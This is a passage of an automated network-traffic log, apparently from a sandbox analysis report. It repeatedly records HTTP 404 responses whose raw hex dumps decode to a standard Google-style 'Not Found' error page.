70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:44 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:45 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:45 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:45 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:49 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:50 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:51 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 